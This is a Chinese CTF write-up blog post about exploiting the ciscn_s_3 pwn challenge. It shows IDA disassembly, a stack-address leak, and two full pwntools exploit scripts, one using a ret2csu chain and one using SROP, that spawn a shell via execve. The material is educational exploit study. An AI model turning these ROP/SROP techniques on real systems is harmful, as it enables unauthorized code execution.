编辑
2023-06-10
pwn
00
请注意,本文编写于 679 天前,最后修改于 566 天前,其中某些信息可能已经过时。

目录

ciscns3
步骤
例行检查:
IDA
方法一:ret2csu
第一点注意
第二点注意
方法二 SROP

ciscn_s_3

依旧是被ciscn血虐的几天,这道题的难度超乎我的想象(就是我太菜了,但同样的我也学会的很多东西,虽然学的比较慢

步骤

例行检查:

image-20230602172944832

很明显是一个64位的动态连接文件并且只开启了NX保护:

IDA

image-20230602174408815

这题漏洞很明显,sys_read可以读入0x400字节的数据,远远大过buf的大小,所以这里可以直接溢出。

还是可以看到程序中还有两个gadget可以使用,而这就是下面为什么有两种方法的原因:

assembly
.text:00000000004004D6 ; Attributes: bp-based frame .text:00000000004004D6 .text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 55 push rbp .text:00000000004004D7 48 89 E5 mov rbp, rsp .text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh .text:00000000004004DA 00 00 .text:00000000004004E1 C3 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 48 C7 C0 3B 00+ mov rax, 3Bh ; ';' .text:00000000004004E2 00 00 .text:00000000004004E9 C3 retn .text:00000000004004E9 ; --------------------------------------------------------------------------- .text:00000000004004EA 90 db 90h .text:00000000004004EB ; --------------------------------------------------------------------------- .text:00000000004004EB 5D pop rbp .text:00000000004004EC C3 retn .text:00000000004004EC ; } // starts at 4004D6

注意其中

assembly
.text:00000000004004E2 48 C7 C0 3B 00+ mov rax, 3Bh ; ';' --- .text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh

这里我们要知道再x64架构下execve和sys_rt_sigreturn的系统调用就是59(0x3B)和15(0xF),所以这里有可以直接用execve(“/bin/sh”,0,0)或者有SROP的方法伪造signal frame构造execve(“/bin/sh”,0,0)再利用sys_rt_sigreturn来getshell

这里大抵有两种方法可以利用:

  • SROP
  • ret2csu

至于这里为什么不能用ret2libc3大抵是因为这里read和write函数都是直接进行系统调用的libc库里面实际是找不到这两个函数的

方法一:ret2csu

这里的exp说实话是写不来的,还是看大佬的理解了一下:

已经知道了溢出点,接下来就需要构造payload,但这里我们没有system和binsh并且也没有办法实现got表查libc的方法,got表东西实在是太少了(也许也可以利用__libc_start_main,有时间试试

image-20230602180322609

但是我们有execve的系统调用号,也有现成的systcall,所以这里我们只需要往栈里写入/bin/sh再知道其地址即可:

python
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln) io.send(payload)

这里有两个值得注意的点:

第一点注意

第一他的返回地址其实就是esp的地址:

这里我们都清楚retn == pop eip,即将栈顶地址pop到eip中,而这里看汇编:

assembly
.text:00000000004004ED 55 push rbp .text:00000000004004EE 48 89 E5 mov rbp, rsp .text:00000000004004F1 48 31 C0 xor rax, rax .text:00000000004004F4 BA 00 04 00 00 mov edx, 400h ; count .text:00000000004004F9 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf .text:00000000004004FE 48 89 C7 mov rdi, rax ; fd .text:0000000000400501 0F 05 syscall ; LINUX - sys_read .text:0000000000400503 48 C7 C0 01 00+ mov rax, 1 .text:0000000000400503 00 00 .text:000000000040050A BA 30 00 00 00 mov edx, 30h ; '0' ; count .text:000000000040050F 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf .text:0000000000400514 48 89 C7 mov rdi, rax ; fd .text:0000000000400517 0F 05 syscall ; LINUX - sys_write .text:0000000000400519 C3 retn .text:0000000000400519 vuln endp ; sp-analysis failed .text:0000000000400519 .text:0000000000400519 ; --------------------------------------------------------------------------- .text:000000000040051A 90 db 90h .text:000000000040051B ; --------------------------------------------------------------------------- .text:000000000040051B 5D pop rbp .text:000000000040051C C3 retn .text:000000000040051C ; } // starts at 4004ED

从汇编中可以清晰地看出这里的系统调用并没有leave指令:mov ebp,esp | pop ebp

所以这里实际的返回地址就是rsp指向的地方也就是rbp,

所以这里做溢出的时候就不能单纯的看栈空间来溢出,我在这里卡了很久:

image-20230602181425977

第二点注意

写入的/bin/sh的地址需要gdb动态调试才能看出:

image-20230602181828954

这里可以知道0x7ffecbd3edc0处有一个有一个地址,而/bin/sh的地址是│0x7ffecbd3eda0这里就可以通过固定的偏移来计算/bin/sh的地址

txt
这里可以计算偏移为:0x00007ffecbd3eee8 - 0x7ffecbd3eda0 = 0x148

所以有:

python
binsh_addr = u64(io.recv()[0x20:0x28])-0x148 print(hex(binsh_addr))

然后就是最后的攻击:

这里我们选择用csu_init来构造payload,因为这里我们使用的大量的gadget实际上是找不到的,只有csu这里的最为合适:

python
poprdi = 0x04005a3 csu_last = 0x0040059A csu_former = 0x0400580 syscall = 0x0400501 execve = 0x4004E2 .......................................................... payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\ p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\ p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
assembly
csu_last & csu_former .text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400580 4C 89 EA mov rdx, r13 .text:0000000000400583 4C 89 F6 mov rsi, r14 .text:0000000000400586 44 89 FF mov edi, r15d .text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040058D 48 83 C3 01 add rbx, 1 .text:0000000000400591 48 39 EB cmp rbx, rbp .text:0000000000400594 75 EA jnz short loc_400580 .text:0000000000400596 .text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400596 48 83 C4 08 add rsp, 8 .text:000000000040059A 5B pop rbx .text:000000000040059B 5D pop rbp .text:000000000040059C 41 5C pop r12 .text:000000000040059E 41 5D pop r13 .text:00000000004005A0 41 5E pop r14 .text:00000000004005A2 41 5F pop r15 .text:00000000004005A4 C3 retn .text:00000000004005A4 ; } // starts at 400540
  • 第一步还是正常的溢出,然后retn到csu_last处将除rbx寄存器外的值全部置零,这里还有以这个值得注意的点:rbx和rbp不再像往常一样分别置零和置一,这是为了会到csu_former第一遍执行完后重新再执行一遍来确保pop_rdi(csu在x64架构下并没有mov rdi这一操作,只有edi也就是对低三十二位进行操作,这也是为什么一开始也要对r15置零的原因,减少干扰项)。至于这里为什么还要往r12中写入binsh_addr + 0x50这一地址而不是直接写入execve的地址呢?这里是因为原本csu里面没有rdi的gadgte,所以这里我们就要再找一个pop_rdi,但是该如何执行这一个gadget呢?这里就需要用到csu里面的循环,当rbx!=rbp时rbx add 1,然后第二次执行就会跳到r12后一个地址,这里就可以放pop_rdi了
  • 还有一个就是需要搞清楚地址是什么?这里虽然写两个两个地址看似一样但是实际上写入binsh_addr + 0x50是先指向栈上的地址,而这样的话第二次循环执行rbx = 1后就会很自然的跳转到r12指向地址的下一命令,也就是pop_rdi,这样就会很自然的将binshpop到rdi中(但是这里还有一点就是为什么我动调的时候会执行三次pop_rdi这里我觉得不是很合理,还得再看看)
python
from pwn import* context(log_level = 'debug',arch ='amd64',os = 'linux') context.terminal= ['tmux','split','-h'] local = 2 if local == 1: io = remote('node4.buuoj.cn',26606) else : io = process('./ciscn_s_3') elf = ELF('./ciscn_s_3') poprdi = 0x04005a3 csu_last = 0x0040059A csu_former = 0x0400580 vuln = elf.sym['vuln'] syscall = 0x0400501 pre_rbp = 0x07ffceb64f728 execve = 0x4004E2 # gdb.attach(io) payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln) io.send(payload) binsh_addr = u64(io.recv()[0x20:0x28])-0x148 print(hex(binsh_addr)) gdb.attach(io) payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\ p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\ p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall) io.sendline(payload) io.interactive()

但这里还有几点注意:

  • 第一个个payload中的返回地址要写vuln写main的话会报错
  • 我这里本地打偏移是0x148但是打远程就是0x118(看别人的wp才发现,远程gdb调试不了

方法二 SROP

What is sigal 机制:

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

Process of Signal Handlering

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

这里需要理解signal的机制,以ciscn_s_3为例:

程序如上图,这里直接给exp:

python
from pwn import* context(log_level = 'debug',arch ='amd64',os = 'linux') context.terminal= ['tmux','split','-h'] local = 2 if local == 1: io = remote('node4.buuoj.cn',26606) else : io = process('./ciscn_s_3') elf = ELF('./ciscn_s_3') poprdi = 0x04005a3 csu_last = 0x0040059A csu_former = 0x0400580 vuln = elf.sym['vuln'] syscall = 0x0400501 pre_rbp = 0x07ffceb64f728 execve = 0x4004E2 # # gdb.attach(io) payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln) io.send(payload) binsh_addr = u64(io.recv()[0x20:0x28])-0x148 print(hex(binsh_addr)) # # # gdb.attach(io) # payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\ # p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\ # p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall) # io.sendline(payload) # io.interactive() sigreturn = 0x04004DA # frame = SigreturnFrame() # frame.rax = 0xf # frame.rip = syscall frame1 = SigreturnFrame() frame1.rax = constants.SYS_execve frame1.rdi = binsh_addr frame1.rsi = 0 frame1.rdx = 0 frame1.rip = syscall # # frame_packed = p64(frame.rax) + p64(frame.rdi) + p64(frame.rsi) + p64(frame.rdx) + p64(frame.rip) # gdb.attach(io) payload = (b'/bin/sh\x00').ljust(0x10,b'b') + p64(sigreturn) +p64(syscall) + bytes(frame1) + p64(vuln) # payload = (b'/bin/sh\x00').ljust(0x10,b'b') + bytes(frame) + bytes(frame1) + p64(vuln) io.sendline(payload) io.interactive()

这里pwntools直接集成了srop模块,对于SignalFrame的伪造会方便很多,当然这里还是列出x64和x86架构下的SigalFrame结构:

X86:

c
struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };

X64:

c
struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };

python
frame1 = SigreturnFrame() frame1.rax = constants.SYS_execve frame1.rdi = binsh_addr frame1.rsi = 0 frame1.rdx = 0 frame1.rip = syscall

通过这样的简单构造就可以直接把个寄存器设置为自己需要的值,这就是对execve的系统调用。

下面分析payload,这里有我一开始有一点迷惑:就是为什么在

*p64(sigreturn)*之后还要再syscall一次,这里我其实被我自己的写法给误导了,我一开始以为p64(sigreturn)就已经将伪造的SignalFrame恢复,其实不然,这里p64(sigreturn)仅仅只是

assembly
text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh .text:00000000004004DA 00 00 .text:00000000004004E1 C3 retn

这样一段汇编内容,并没有对syscall的调用,也就没有进入内核态,也就自然没法恢复伪造的SignalFrame来完成攻击,

python
# frame = SigreturnFrame() # frame.rax = 0xf # frame.rip = syscall

而上面这一段被我注释的内容实际上是我有些想当然了,我以为这样构造也可以完成对sigreturn的调用,实际上也是不可以的,因为srop的原理其实就是利用signalreturn恢复机制来完成操作,但这里实际上我将“果”当“因”处理了,是行不通的。

这里的难点其实还是方法一,还是有很多不懂的点,这样的payload实在是巧妙。

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!